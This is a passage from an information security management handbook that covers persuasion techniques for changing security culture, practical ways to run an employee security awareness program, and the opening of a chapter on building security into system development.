Trigger 4. Consistency People fulfill written, public, and voluntary commitments. Consistency is a very powerful trigger for the CISO who knows how to use it, but it also has the capacity to seriously backfire if misused. For this trigger to succeed, it is important that the commitment be voluntary. An involuntary commitment is at best neutral toward inducing behavioral change. At its worst it is downright dangerous, often acting to produce exactly the opposite effect from what is desired. So, although an organization may be obligated for legal reasons to require every employee to sign a statement
Beyond Information Security Awareness Training: It Is Time To Change the Culture
293
agreeing to abide by the organization’s information security policies, this involuntary commitment is unlikely to serve to change people’s behaviors. Far more effective is for the CISO to understand people’s values and behaviors and to link desired information security behaviors to behaviors to which the employee has already committed. If, for example, the organization values a strong chain of command, the CISO can link desired information security behavior into this chain of command. In this circumstance, employees will secure information as a way of fulfilling their commitment to respect the organization’s chain of command. Alternatively, if the organization publicly values a looser, less restrictive, more autonomous environment, then it is important for the CISO to link information security behaviors to people’s personal responsibility to do the right things for the organization.
Trigger 5. Scarcity People value what is scarce. Because information security is about protecting the organization from loss, this trigger is a natural tool for the CISO. To understand the value of this trigger, it is important to recognize that several psychological studies have shown that people are more likely to expend money and energy to avoid loss than to achieve gain.10 Consequently, by discussing information security in the language of loss, the CISO is far more able to induce people to take action to limit the potential for loss. CISOs can increase their effectiveness even more by making a point to couch the loss in terms that are meaningful to the listener. Consider, as an example, the impact of an open honest discussion about how an information security breach can result in lower revenues and how lower revenues translate into fewer jobs. (ChoicePoint provides a good starting point for the discussion.) This kind of discussion provides an opportunity for employees to link their jobs to the security of information. Because people are typically very risk averse with regard to losing their jobs, this well-positioned link to scarcity can serve to induce people to pay more attention to their information security actions.
Trigger 6. Liking People prefer to say “yes” to people who they perceive like them. We have been taught how important it is that people like us, that our success depends in part on how well we are liked. To some extent this is true, but, like all great truths, there is another, deeper, perspective. It turns out that even more important than people liking us is us liking them. People like, and are inclined to follow, leaders who they perceive as liking them. If people perceive that the CISO likes them, they are more inclined to say “yes” to the CISO. What a golden opportunity for the CISO! CISOs must go out of their way to find legitimate opportunities to demonstrate to the people they work with that they really, truly like them. Add the liking trigger to the other five persuasion trigger, and the CISO has a sure-fire winning strategy for changing the organization’s culture; for changing how the organization perceives, thinks, and feels in relation to information security problems; and for supporting the organization’s becoming skilled at creating, acquiring, and transferring knowledge about information security and modifying its behavior to reflect new information security knowledge and insights. A thoughtful CISO can use the liking trigger in so many different ways. Rather than the CISO imposing information security requirements on people — a clear signal that the CISO does not respect them enough to solicit their input — a better strategy is to ask their opinion about how best they can secure information, thereby clearly demonstrating that the CISO values their opinion and likes them. To influence people, win friends. An effective CISO will always be on the lookout for opportunities to establish goodwill and trustworthiness, to give praise, and to practice cooperation. To the extent CISOs show they like the people in their organizations and to the extent that CISOs show that they share their concerns and problems, to this extent will people provide the CISOs with opportunities to change the culture.
294
Information Security Management Handbook
A Warning: Ignore at Your Own Peril Integrity and honesty are absolutely vital in the application of these persuasion triggers. The six triggers have been shown to work in persuading people to act in ways desired by the persuader. Obviously, this power can be used for both good objectives and cynical ones. To be effective as a change agent, however, CISOs must take pains to use their powers of persuasion ethically. If people perceive a lack of moral or intellectual integrity on the part of their CISOs, not only will they not follow them, but they will also become even more cynical about the attempt of the information security organization to force changes upon them. Instead of embedding information security concerns in the larger culture, the larger culture will reject the embedding attempt.
Summary The effectiveness of an information security program ultimately depends on the behavior of people. Behavior, in turn, depends on what people know, how they feel, and what their instincts tell them to do. Although an awareness training program can impart information security knowledge, it rarely has significant impact on people’s feelings about their responsibility for securing information or their deeper security instincts. The result is often a gap between the dictates of information security policy and the behaviors of our people. It is the role of culture to close this gap. It is the CISO’s responsibility to provide the organizational leadership required to change how the organization perceives, thinks, and feels in relation to information security problems and to embed the information security subculture into the dominant culture of the organization. Meeting this responsibility requires the CISO to create an information security learning organization, one skilled at creating, acquiring, and transferring knowledge about information security and modifying its behavior to reflect new information security knowledge and insights. At a deep strategic level, the CISO can only do this in harmony with the basic principles of real power, seeking to create the spaces in which information security learning can take place. Tactically, the CISO has available six specific persuasion triggers that taken together open up the spaces in which information security learning can take place. By ethically applying these persuasion triggers over and over and over again, day in and day out, the CISO has the opportunity to win the hearts and minds of the people, making information security come alive so everyone in the organization, from the CEO to the receptionist, can evolve an information security mindset.
Notes 1. Schein, E. H. 1992. Organizational Culture and Leadership, 2nd edition. San Francisco, CA: JosseyBass. 2. I date the origin of the field as the publication date of Security Controls for Computer Systems: Report of Defense Science Board Task Force on Computer Security, edited by Willis H. Ware. A classified version was published in 1970 for the Office of the Secretary of Defense. The Rand Corporation published an unclassified version in 1979. 3. Schein, E. H. 1992. Organizational Culture and Leadership, 2nd edition. San Francisco, CA: JosseyBass. 4. Garvin, D. 1993. Building a learning organization. Harvard Business Rev. 71(4):78–91. 5. Senge, P. 19990. The Fifth Discipline, New York: Doubleday Currency. 6. The butterfly effect suggests that a butterfly flapping its wings in Los Angeles can cause a storm in Singapore 14 days later. 7. Autry, J. and S. Mitchell. 1998. Real Power: Business Lessons from the Tao Te Ching. New York: Riverhead Books. 8. Deming, W. E. 1986. Out of the Crisis. Boston: MIT Center for Advanced Educational Studies. 9. Cialdini, R. 2001. Harnessing the science of persuasion. Harvard Business Rev. 79:71–79. 10. Kahneman, D., P. Slovic, and A. Tversky, eds. 1982. Judgment Under Uncertainty: Heuristics and Biases. Cambridge, U.K.: Cambridge University Press.
24 Establishing a Successful Security Awareness Program Charles R. Hudson, Jr. Security awareness is an important aspect of any security program. Unfortunately, not everyone has realized this fact. A great example of this is what happened to me a few years ago when I was asked to speak at a local security organization’s monthly meeting. The audience for this presentation would be mostly experienced security professionals in leadership-type positions. The coordinator for this program told me I could speak on any current security topic I wanted to and asked that I send him a synopsis of my presentation. Later that week, I sent him a summary for a presentation on security awareness. The coordinator contacted me and said that the audience was senior security officials and that they were above discussing security awareness. He went on to say they were not interested in having me speak, and I have never heard from this chapter of the organization again. Due to recent regulations many of these individuals have been forced to reevaluate their security awareness programs. The frequency and content of security awareness programs are now areas that compliance regulators and internal and external audit functions are routinely reviewing. These programs involve much more than teaching basic security techniques for creating passwords or how to store sensitive information. A successful program enables an organization not only to educate its employees but also to move its entire information security program forward. A successful security awareness program would have helped these senior security officials obtain approval for current technology projects they want to implement and the budgets they need for them. Instead of these security officials having to propose a new program to senior management, imagine senior management asking them what they should do about a current topic brought to their attention. Security awareness is something that should be used on a daily basis, not just once a year or every other year to meet a compliance guideline. This chapter was written to help the reader create a successful, ongoing security awareness program, and it includes examples of how a particular technique can be used in a program. This chapter should be viewed as a reference model that has been broken down into the key areas of a successful program: the framework of a program, actual creation of a program, finding information to use in the program, incorporating feedback in the program, and the use of giveaways and prizes.
Security Awareness Framework Having a successful security awareness program begins with establishing a foundation on which to build the program. A successful program cannot be built on a specific incident that has occurred or on the current hot topic in the news. Attendees of these types of programs quickly identify it as such and discount
295
296
Information Security Management Handbook
the organization’s efforts. Programs built this way usually exist for only a very short time and are unable to tie together multiple aspects of security. Building a strong foundation will assist in obtaining approval for the program as well as overall management support. The building blocks of the foundations can be broken down into five major areas: corporate culture, company awareness level, security policies, budget and time restraints, and leadership support.
Corporate Culture It is important to know the culture of the audience. If most people in the company wear jeans and a Tshirt to work every day, it is probably not a good idea to have the presenter wear a suit. The presenter should fit in with the audience and understand their local culture. A good example of this would be to take advantage of the Boston Red Sox finally winning the World Series in 2004. If I were doing an awareness campaign in the Boston area, I would want to tie baseball into the program in some way; for example, the giveaways for the program could be stress relievers in the shape of a baseball or a baseball bat. In this way, a positive community spirit is being incorporated into the program. (Of course, if I had been doing the same presentation in New York in 2004, I would have avoided any reference to baseball.) When corporations have offices throughout the world, this process becomes more difficult. It may be necessary to modify the program to suit particular locations, particularly with regard to overcoming language barriers.
Company Awareness Level To create a security awareness program, the organization must determine employees’ current level of knowledge regarding security. Many security professionals incorrectly believe they know what areas should be addressed in a program, but it is not possible to create a program in a vacuum or by using what has worked for someone else in the past. The audience dictates what should be in the program. The awareness level of an organization can be determined in several ways. One approach is to send out random questionnaires to employees. The questions are usually written in a multiple-choice format and can help quickly establish statistics regarding the organization’s overall security awareness. The questionnaires should be no longer than a page and should take less than five minutes to complete; if they are too long, fewer employees will complete them. Employees can be enticed to complete their questionnaires by offering them random prizes and giveaways for returned forms. A sample question would be: Where would you store an electronic document that contains an annual employee review? A. On your workstation B. In removable media such as a CD C. In your personal directory on the network D. In a common directory on the network E. You should not store it This question has two goals. The first goal is to understand if the person understands the classification of the material being discussed, and the second goal is to see if the individual understands where that information should be stored. Answer A is incorrect, but if a large number of users choose this answer it may be necessary for the security awareness program to stress the importance of not saving data to a local machine. The same type of analysis can be applied to the other four answers. Another approach is to use traditional games, such as crossword puzzles. These allow information to be collected, gives the employees something entertaining to do, and reminds them of the importance of security. Sample questions that could be used include: Before leaving at night, you should always __________ the information you were working with. Passwords should contain both letters and __________. Data should be classified by its __________.
Establishing a Successful Security Awareness Program
297
Site surveys, where the security staff performs a walkthrough of the building at night, can also be used to obtain information. When I have done this in the past, we used a checklist of five items. Each desk was checked for those items and statistics were developed by building, floor, and specific areas of the company. One time when we did this, we left either a green slip or a red slip on each desk. The green slip congratulated the individual for passing the walkthrough and introduced an upcoming security event. The red slip showed the areas that individual needed to work on and also introduced the upcoming security event. It was amazing how much employees discussed who received a green ticket versus a red ticket and why. Another useful approach is to review the security violations that have occurred at the organization over the past few years. Do they show a trend? The same type of review can be done for any type of major security incidents that have occurred. An awareness program is also a great way to introduce a new policy or technology to employees. Instead of just announcing the new policy, an awareness program provides an opportunity to explain why the policy was developed or modified and how it should be used.
Security Policies Although they are not usually the most popular topic of discussion, security policies play a major role in any overall security program. These policies are the roadmaps for employees to follow and should be incorporated into the security awareness program. It is important not to train employees on policies that do not exist in the corporation. If a particular issue is not addressed in the organization’s current policies, a new policy should be developed and put into place before conducting awareness training; otherwise, do not train on that subject. A security awareness program is a great place to introduce new policies but not to discuss policies that are forthcoming. When discussing policies, it is a good idea to talk about why they exist and what they mean instead of lecturing to the audience. A speaker who lectures to the audience can quickly lose there attention and respect; instead, the speaker should address the audience as though everyone in the room is on the same level. The speaker should avoid answers that begin with: “I am not sure of your technical knowledge…” or “Maybe I should start by explaining the basics to you.” When developing a security awareness program, current security policies are a great area to review. What policies are used the most in the organization? Of the past few years, what policies have raised the most questions? What new technologies, such as USB devices, have been introduced lately? This type of information will help determine what policies (e.g., hardware and software installation policies to address USB devices) should be reviewed in the program.
Budget and Time Commitment Available One comment I have heard numerous times is “I wish I could do security awareness, but I don’t have the time or budget to support it.” A program can be as big as having a staff dedicated to it or as small as an article that appears in the company newsletter. The point is that in this way an awareness program exists! The program should be designed to fit within the current constraints. A program that cannot be supported from a time or budget perspective is doomed to fail, no matter how good the content is. Many individuals think the most significant constraint of a successful program is its budget. This type of thinking limits implementation of a successful program within an organization. The use of external resources, such as professional firms and commercial products, may enhance a program but they also significantly increase the cost of the program. These resources can be used sparingly and can be supplemented by in-house staff. In general, these types of services usually have diminishing returns when more and more of the budget is spent on them. An effective security awareness program can be put into place without a large budget. The next section of this chapter (Creating a Security Awareness Program) discusses techniques that can be used within a limited budget. This is not to say that a budget is not required for a program; rather, an excessive budget is not needed. For example, instead of buying refreshments for a presentation, how about giving away $100 in cash? A random prize drawing will probably attract more attendees than the cookies at only a fraction of the cost.
298
Information Security Management Handbook
Leadership Support Management support is essential to any program. The information gathered in the foundation-building phase can be used to explain to senior management why a security awareness program is needed and what specific subjects will be covered in it. A program will not be successful if it is not supported by senior management or if they do not participate in it. It is important to demonstrate their support of the program to the staff. When the author conducts training seminars, at least one senior manager is encouraged to attend or even participate in each session. This suggests to the staff that it must be important because the senior managers are attending and participating. For example, in one program each session began with a taped introduction by the president of the company. That introduction set the tone for the rest of the seminar. When prizes or awards are used, senior managers can be the ones who randomly pick and present awards to the winners. It is essential to follow through with senior management at the conclusion of the awareness program to demonstrate the improvements it made. When the next program is being pitched at the management level, it is hoped that they will remember the success of the last program and the value it had to the corporation.
Creating a Security Awareness Program When the framework of the program has been determined, the next task is to actually develop the content and mechanisms for delivering it. Numerous techniques can be used to create a program. Below, we discuss nine of them; this is not an all-inclusive list of techniques but rather a good reference of proven techniques. Most of the techniques also have examples of use. It is also necessary to consider how to implement these techniques: • • • • • • • • • • • •
Will attendance be mandatory or voluntary? How will we track attendance, if at all? What will be used to evaluate the success of the program? Are specific dates associated with the program? When will the program end? What will replace this program? At what locations will the program be conducted? Who will coordinate the program? What are the major issues to be addressed in the program? Should any compliance issues be addressed? Who is the audience for this program? Will the audience be the entire corporation or specific segments of the population?
The statistics and information obtained in the information-gathering process will help determine the answers to many of these questions. The answers will help determine the delivery mechanisms to be used and the amount of content that should be covered. At this point, the overall direction and goals of the program are being set.
Themes and Slogans Unless the program is only one event, it will be necessary to develop a way to tie all of the activities together. An effective way to do this is to use themes and slogans and to incorporate a particular image or logo that represents the program. The theme, slogan, and logo are aspects of the program that should remain consistent until a new program is initiated. These techniques will make elements of the program easily recognizable. When members of the organization see the logo, for example, they are likely think about the training they received during the program. Determining what to use will require thinking through the entire program, including the delivery mechanisms that will be used and the messages to get across. The input of a marketing department can be helpful. Themes should be catchy and can be
Establishing a Successful Security Awareness Program
299
focused around anything that fits your organization. Themes can be developed from popular television shows, movies, politics, and current news events. If possible, every aspect of the program should relate back to the chosen theme. Following are some themes and slogans the author has used in the past: Theme — Mission Impossible Slogan — It’s Not Mission Impossible, It’s Mission Critical! Theme — Key Slogan — YOU Are the Key to Information Security Theme — Security Election 2004 Slogan — Get Out the Security Vote! Theme — Link Slogan — We Are Only As Strong as Our Weakest Link! Theme — Game show Slogan — Information Protection Is Not a Game!
Seminars The most traditional method of training is seminars. Many individuals have a negative perception of traditional seminars. Many of us can remember seminars we were forced to attend pertaining to a subject we were not interested in. When the idea of conducting a seminar is introduced, it may not be well received. Seminars can be successful, but trying to conduct one may be an uphill battle. In general, seminars should last no more than 40 minutes. The attention span of most individuals appears to diminish after this length of time. Multiple speakers and videos or other media can deliver the message in a lively manner and make a 40-minute session feel shorter.
Expos The best way to explain what an expo is would be to think of vendor booths at a conference. They are usually comprised of a few folding tables and are focused around delivering a message in less than five minutes. To entice individuals to participate, the vendors usually offer a giveaway or a chance to win a prize by participating. The increase in participation as a result of offering a small giveaway or prize is amazing. How many times have you listened to a sales pitch just to get a free giveaway or to put your business card in a drawing to win a larger prize? Think about how many people would listen for five minutes for a chance to win $100. If 500 people visit a booth, that prize would represent an investment of only 20¢ a person! Of course, the best places for expos are high-traffic areas. Because trying to get people to participate when they are arriving at or leaving work usually is ineffective, the next best place is close to the cafeteria during lunch hours. In general, the booth should try to address only a few points and should invite the employee to interact in some way with the demonstration. For example, a booth that addressed virus protection had a number of mice set up so individuals could see how fast they could double click. The results were displayed on a monitor, and those who could do it under a certain time won a prize. The message of the expo was “Think before you click.” Some other subjects addressed by expos have included phishing (participants attempted to get a fishing line into a fishbowl), spam (participants attempted to knock down a pyramid of Spam cans to win a deck of cards that had the Spam logo on them), and clean desks (pictures of desks within the corporation were blown up on posterboards and participants played “what is wrong with this picture?”).
“Lunch and Learn” Sessions A very popular delivery mechanism is a “lunch and learn” session. These presentations are usually 30 to 40 minutes in length and are done during lunch hours. The sessions are done close to the cafeteria, and individuals are encouraged to bring lunch to the presentation. Because employees are not required to
300
Information Security Management Handbook
attend these sessions, it is important to market these sessions to the audience. Of course, the key driving factor is going to be the subject of the presentations. Presentations titled “An In-Depth Review of the Information Security Policies” or “How To Classify and Store Data within the Organization” are not likely to draw huge crowds. Instead, try to pick subjects that are of interest to the general population and then tie them back to the corporate security program. Some examples of successful presentations include “Protecting Your Home Computer from Viruses and Spyware,” “Creating a Wireless Network at Home,” “Protecting Your Children on the Internet,” and “How To Protect Your Home Computer.” These presentations were marketed by giving away random prizes, including company reward points that could be used to purchase items out of the company catalog and other giveaways. Because the employees want to attend such sessions, it is easy to understand why they can be so successful. In general, these sessions teach simple techniques to users. They explore issues such as where to locate a computer used by children in the home and why it is important to update a machine with virus patches and operating system updates. Because the technical ability of the attendees is likely to span a broad spectrum, the presentation can provide basic information and handouts can provide the more technical details. The sessions do not always have to be done by the IT staff. Representatives of other areas of the company can present or participate in sessions, as can local law enforcement personnel or other experts. Sometimes, the staff will take the subject matter more seriously when it is presented by a third party. At some point in these presentations it is necessary to discuss how that particular topic is handled within the company; for example, the presenter can explain why it is important not to connect an unapproved wireless device to the organization’s network and why it is important to virus check media before using it on the network. These sessions are designed to help employees better protect their personal equipment at home so the chances of them introducing something to the organization’s environment are decreased. When the author first started conducting such sessions, only a few were scheduled. Some of the topics, such as “Protecting Your Home Computer from Viruses and Spyware,” proved to be so popular that they were presented as many as 16 times. Also, employees have requested that the sessions be held at night so family members could attend.
New Employee Orientation The first few minutes of an introduction are when most impressions are made. What better way to create a good security impression than by participating in new employee orientation? Doing so demonstrates to the new employees that security is important to the organization. It is not always easy participating in this process, as many departments within the organization are trying to deliver a significant amount of information in a very short time. A live presentation during this process is highly recommended, but if that is not possible then at least handouts should be given to the new employees. Taping a presentation to show to new employees is not recommended. Think about the message that would send to them: “Security is just something we have to mention to you.” Whenever possible, the presentation should be made in person. Do not fall into the trap of trying to cover everything about the program. This is only the first of many opportunities to educate these individuals, and the new employees are being overwhelmed with numerous forms, policies, and benefit information. With this in mind, limit the presentation to no more than 30 minutes and only focus on a few major points. The presentation should tell new employees where they can find the information security policies, provide an overview of a few of the regularly used policies, include a quick tour of the information security intranet site, and explain how to report security violations. Such a presentation takes about 10 to 15 minutes and can be followed by a security awareness video of about the same length. After the video, new employees can ask questions and be given additional information, including a card indicating how to contact information security. The presentation should be short, simple, and drive home a few key points about the organization’s overall security program.
Establishing a Successful Security Awareness Program
301
Holidays and Special Events Holidays are a great time to deliver a portion of the security awareness program. Holiday times are also when employees may be the most relaxed about security procedures. Halloween, for example, is the author’s favorite times of year to do security awareness. One year the security staff dressed up in costumes and greeted employees as they entered our buildings in the morning. They carried plastic pumpkins that were full of bite-size candy to give out. Each piece of candy had a sticker containing a security tip, such as “Shhh … Your password is not for sharing,” “Information security is everyone’s responsibility,” or “Did you lock your desk last night?” Another year the author’s staff produced an orange handout featuring a large picture of a pumpkin that included security tips and promoted an upcoming awareness event. These handouts, along with bite-size pieces of candy, were left on everyone’s desk. (One year, no candy was given out at Halloween, and several employees called to find out why. We like to think that these individuals were disappointed they did not receive any security training.) Holidays are not the only time such techniques can be used. Some other examples would include corporate events, such as picnics. Instead of using standard cups, why not use cups with security tips printed on them? In this way security is easily associated with a positive experience by most employees at a very low cost. This approach is almost always well received and a plus to most programs.
Company Newsletters and Posters Most corporations have some type of newsletter that is distributed to the staff on a regular basis. Newsletter editors are more than happy to add additional content to these publications. This is a great delivery mechanism to discuss a particular topic or to reinforce a subject that was discussed in the security awareness program. Newsletters can also be used to introduce a larger event. One way to make use of newsletters is to discuss recent security events in the news. Instead of discussing the possibility of what could happen, it is possible to describe what actually has happened to another organization and the impact that situation had. Following up with how that issue is being addressed at the organization usually has a powerful impact on the reader. If a major program has just been conducted, take this opportunity to summarize what was covered in the program to reinforce the topics and to expand the audience exposed to the information. If the program was measured using some type of before-and-after metrics, provide them in the article. Lunch rooms, break rooms, internal lobbies, and copy rooms are all good areas within a company to place posters that enforce and advertise programs. The goal of these items is to constantly reinforce the program. Although employees may not read the entire message, they are at least thinking about security.
Intranet Site A large amount of company information is now stored on corporate intranet sites. Usually, many areas of a company will have a dedicated site, including information security. The information security intranet site can be considered as a repository for security awareness programs — current, past, and future. Unlike the other delivery mechanisms discussed, a topic can be discussed or explained in specific detail on the site. Every handout or presentation should reference this site for more details. Although the intranet site can be used primarily to supplement the primary delivery mechanisms, it can also introduce new topics. One way to accomplish this is by enticing the audience to visit the site, such as by posting answers to ongoing word games and having giveaways that visitors can win. Employees can obtain security training on the intranet when it is convenient to them and at the privacy of their desks. Most employees feel safe in this type of environment and are more likely to learn. It is also possible to post archived videos of presentations given in the past or to stream live video during an event.
Security Updates The more security can be kept in the forefront, the better the security awareness program will be in the long run. In this regard, sending out a daily security update to a select group of high-level individuals is a good idea. This is information that can also be posted on the intranet site for reference and to allow
302
Information Security Management Handbook
any staff member to review it. These daily updates can cover current events related to security. Here is an example of a story the author has used in the past: April 28, Security Focus. Backup tapes a backdoor for identity thieves — In many cases, low-paid workers are handling sensitive tapes, but only a small fraction of companies are securing the data with encryption. Large companies are reconsidering their security and backup policies after a handful of financial and information-technology companies have admitted that tapes holding unencrypted customer data have gone missing. Last week, trading firm Ameritrade acknowledged that the company that handles its backup data had lost a tape containing information on about 200,000 customers. The financial firm is now revising its backup policies and, in the interim, has halted all movement of backup tapes, a spokesperson said this week. Several Internet sites summarize daily security news, and security professionals can register to receive such summaries daily by e-mail. The Office of Homeland Security also releases a daily bulletin by sector. Be cautious about distributing such reports to avoid being regarded as the constant bearer of bad news. Mix positive messages about the program and its success with current issues in the news. This type of information can change the situation from being one of having to actively promote the use of a new product or technique to one where senior-level executives request that such products be implemented. This is one of the most positive feedbacks anyone can receive from an awareness program.
Finding Information To Use in Your Program The timeliness of the information you use in your program is important. How many times have you been in a training session when the video started and within a few minutes you could tell by the hairstyles or clothes that the video was made several years ago? Right away you probably began to discount the information being discussed even though the video was very good. How about the last PowerPoint presentation you saw. Did the presenter use default images that have been in PowerPoint for several years or current images? What opinion did you have of the presentation put together with the default images? It is always worth taking the time to find current information and images in media outlets that the audience will recognize. The author cannot emphasize strongly enough how powerful they can be if used correctly. This type of information can be found on national and local news programs, as well as in national and local newspapers. A lunch-and-learn conducted by the author included a 20-minute clip from 60 Minutes, a program that has been a staple on television in the United States for many years, is easily recognizable, and usually has instant creditability with the audience. In this case, the security awareness program was not being taught by the information security personnel but by 60 Minutes, the program most people grew up with. Presentation of the video was followed by a discussion of what was presented (for about ten minutes) and a question-and-answer session about the topic. It was a very powerful message that required little effort, as 60 Minutes did most of the heavy lifting. Such clips can be purchased for well under $100. Recent articles in periodicals and newspapers can also be utilized. As discussed earlier, numerous sites on the Internet offer security news articles. The best source to use is what is normally read in the organization’s industry. In the financial industry, it would be a good idea to subscribe to periodicals such as The Wall Street Journal. Like the 60 Minutes example, an audience seeing the subject of discussion appear in the material they read on a daily basis can have a very powerful impact. The message is no longer just a reminder from the information security person but a subject worth discussing.
Incorporating Feedback in Your Program No matter how great the safety awareness materials or the discussions regarding them, if the attendees do not understand or grasp the subject the program will fail. Feedback is an essential part of a successful program. It is so important that this next section is dedicated to discussing it. The most obvious way to
Establishing a Successful Security Awareness Program
303
obtain feedback is to distribute feedback forms at the session or to send them to attendees later. The feedback form should be no more than a page in length and should not take any more than a few minutes to answer. The longer it takes to complete the form, the less likely an individual will be willing to take the time to complete it. To help place metrics around what was done, many feedback forms have a rating system. A commonly used system would have ratings from one to five, where five is excellent, three is average, and one is poor. In this way it is possible to compare the particular session to other techniques used. Of course, you would have to ask the same questions to accomplish this. Some of the most valuable feedback comes from the area on the form where the attendees can write in responses. This is also the area least likely to be completed on feedback forms. To combat this problem, provide predetermined answers and let participants pick the one that is most pertinent. One of these choices should always be “other,” which allows participants to write in personal comments if they so choose. An optional space for explanation can be provided. These forms are invaluable. The data on them will help modify current programs and create new programs. These metrics indicate whether a video worked or if having a guest speaker was better. The contrasts and comparisons can go on and on. Several ways other than the traditional feedback form can be used to obtain feedback — for example, a quiz, which was discussed earlier in the framework section of this chapter. When applying this method, the author initially sends out a short, multiple-choice quiz consisting of eight to ten questions to 100 people chosen at random. The purpose of the quiz is to determine specific areas where knowledge regarding the subject of security might be lacking. After the training is complete, the same questionnaire is sent to a different set of 100 individuals chosen randomly, and the responses from before and after the training are compared. When the post-training quiz is sent out, individuals who did or did not attend the training sessions are not identified. The goal is always to represent the company as a whole, regardless of whether a particular employee attended the training sessions or not. It is hoped that the scores on the post-questionnaire are much higher than those sent out before the training. If they are not, the training methods obviously are not working and must be reevaluated. A sample question would be: Documentation containing client personal information is considered: A. Secret B. Confidential C. Public D. Restrictive At first glance, this question appears to be trying to determine if the user knows the classification of client data; however, this question is actually trying to determine if the user knows the various data classifications. Answer A is not a classification that is used in the company, answer B is the correct answer, answer C is wrong, and answer D is also not a classification that is used. If a large number of users picked answers A or D, it is apparent that the data classification scheme is not widely understood. Picking the correct classification is a secondary goal for this question. The questions asked during or at the end of the training session are also a great form of feedback. After the session it is a good idea to document the questions that were asked. If a session requires a little help breaking the ice for the question-and-answer period, these questions can be used to get things started. The goal is to modify the presentation to address any questions noted during previous sessions. It is a good idea to incorporate the feedback into the program as quickly as possible. After a training session is complete the first thing the author does, even before packing up, is to review the comments made on the feedback forms. It is always possible to change a presentation in between back-to-back sessions based on the feedback received. The program should not be static and should constantly be changing to reflect feedback and current events. Because the information obtained is so valuable, the program can entice users to provide feedback with giveaways and prizes. As noted previously, it is amazing what the chance to win a small prize can do. Collect all the feedback forms from a session and randomly pick five forms for prizes, or give each
304
Information Security Management Handbook
individual who filled out a form $10 on the spot. The audience figures they are stuck there until this process is over, so why not fill out the form and take a chance at winning a prize? Doing whatever it takes to obtain feedback for your program is essential.
Using Giveaways and Prizes Offering giveaways and prizes does not require a substantial amount of money. In a program utilizing a game show theme, one of the delivery mechanisms was an expo outside of the cafeteria. A participant who went through the expo had a chance to spin the “Wheel of Fortune” to win a prize. The prizes ranged from a free soda to $20 in cash. To entice staff members to participate, a member of our team stood in front of the expo with a handful of $20 bills. A person waving a handful of money and offering a chance to win it will get just about anyone’s attention. In reality, only a small amount of money was actually given out. It is usually not about the amount given, but the chance to win it. A great example of this is the television show Fear Factor. Is it really worth putting your body through that entire process just for a chance to win $10,000? For most people, it is probably more about the competition than the money. In addition, the “Wheel of Fortune” expo also gave everyone who participated a slinky with the campaign’s logo on it: “Information Protection: It’s Not a Game!” As individuals went back to their work areas and showed off their slinkies, other staff members began to come down to get their slinkies, too. This expo also gave out a stress reliever and a rubber ball that glowed when bounced and promoted other aspects of the awareness program. No doubt, many of these giveaways made their way into the hands of children of staff members or to the tops of desks at work. Every time employees see or use one of these giveaways, they will think about the program. In essence, the expo continues to remind them month after month about the importance of security, and usually such giveaways cost less than $1 apiece.
Conclusion This chapter has attempted to show that an effective and successful program can be created without a large budget or dedicated staff to accomplish it. Usually, the creativity of the program is more important than the budget or time restraints. No matter what techniques are used, the most important aspect to remember is that security awareness is an ongoing and not just a one-time event. The chapter has described numerous techniques for promoting safety awareness, and several more can be found in other sources such as the Internet. Newsgroups and a number of sites are dedicated to sharing security awareness techniques and ideas. One of the best sources of information is fellow colleagues at companies in the same geographic region or industry. Ultimately, security awareness benefits everyone, and it should be shared across corporations. As a security awareness slogan used by the author in the past states, “We are only as strong as our weakest link.”
Domain 4 Applications and Systems Development Security
306
Information Security Management Handbook
Security measures and controls can be implemented in multiple locations — for example, at the operating system or network level, or within the database or close to the data. When organizations strengthen the controls on some levels (e.g., their perimeter networks), the bad guys turn to exploiting the other layers of the Open System Interconnection (OSI) model. Increasingly, the vulnerabilities exposed in application development, especially in Web-based applications, are becoming prime targets for the bad guys. This domain addresses the importance of security controls at the application program level, including incorporating controls into the system development life cycle.
Access Control Systems and Methodology
307
Contents Section 4.3
System Development Controls
25 System Development Security Methodology............................................................................ 309 Ian Lim and Ioana V. Bazavan 26 Software Engineering Institute Capability Maturity Model .................................................... 325 Matt Nelson
Section 4.4
Malicious Code
27 Organized Crime and Malware ................................................................................................. 339 Michael Pike
Section 4.5
Methods of Attack
28 Enabling Safer Deployment of Internet Mobile Code Technologies ...................................... 351 Ron Moritz
This page intentionally left blank
25 System Development Security Methodology Ian Lim and Ioana V. Bazavan
Introduction Many organizations have a system or software development life cycle (SDLC) to ensure that a carefully planned and repeatable process is used to develop systems. The SDLC typically includes stages that guide the project team in proposing, obtaining approval for, generating requirements for, designing, building and testing, deploying, and maintaining a system. However, many SDLCs do not take security adequately into consideration, resulting in the production of insecure systems. Even in cases where the SDLC does have security components, security is oftentimes the sacrificial lamb in a compressed project delivery timeframe. This neglect brings risk to the organization and creates an operational burden on the information technology staff, resulting in the need for costly, difficult, and time-consuming security retrofitting. In a climate where the protection of information is increasingly tied to an organization’s integrity, security must be strongly coupled with the system development process to ensure that new systems maintain or improve the current security level of the organization. This chapter describes a system development security methodology (SDSM) that is a modus operandi for incorporating security into the system development process. The SDSM is designed to be an extension, not a replacement, of an organization’s preexisting SDLC. This pairing and differentiation are meant to both complement and draw attention to the importance of security in the SDLC. The SDSM is especially useful for organizations that have SDLCs that lack security considerations. Whereas the overall SDLC addresses all aspects and stages of the system, the SDSM focuses primarily on the security needs of the system and is limited to the requirements, analyze, design, build and test, and deploy stages. The primary audience of the SDSM is the project team that will be developing a new system in-house or evaluating a third-party system for purchase. The project team should incorporate the concepts from each phase of the SDSM into the corresponding phases of the organization’s existing SDLC to ensure that security is appropriately considered and built into the system from the beginning stages. Inclusion of security in this way will result in a robust end system that is more secure, easier to maintain, and less costly to own.
FIGURE 25.1 System development security framework.
Certification Checkpoint
Vulnerability Assessment
Certification Issuance
Information Security Management Handbook
Security Deliverable/ End-Product
310
Software Development Lifecycle
System Development Security Methodology
311
System Development Security Methodology The sections below describe in detail what the system development security framework (Figure 25.1) depicts visually. Sections are numbered as in Figure 25.1.
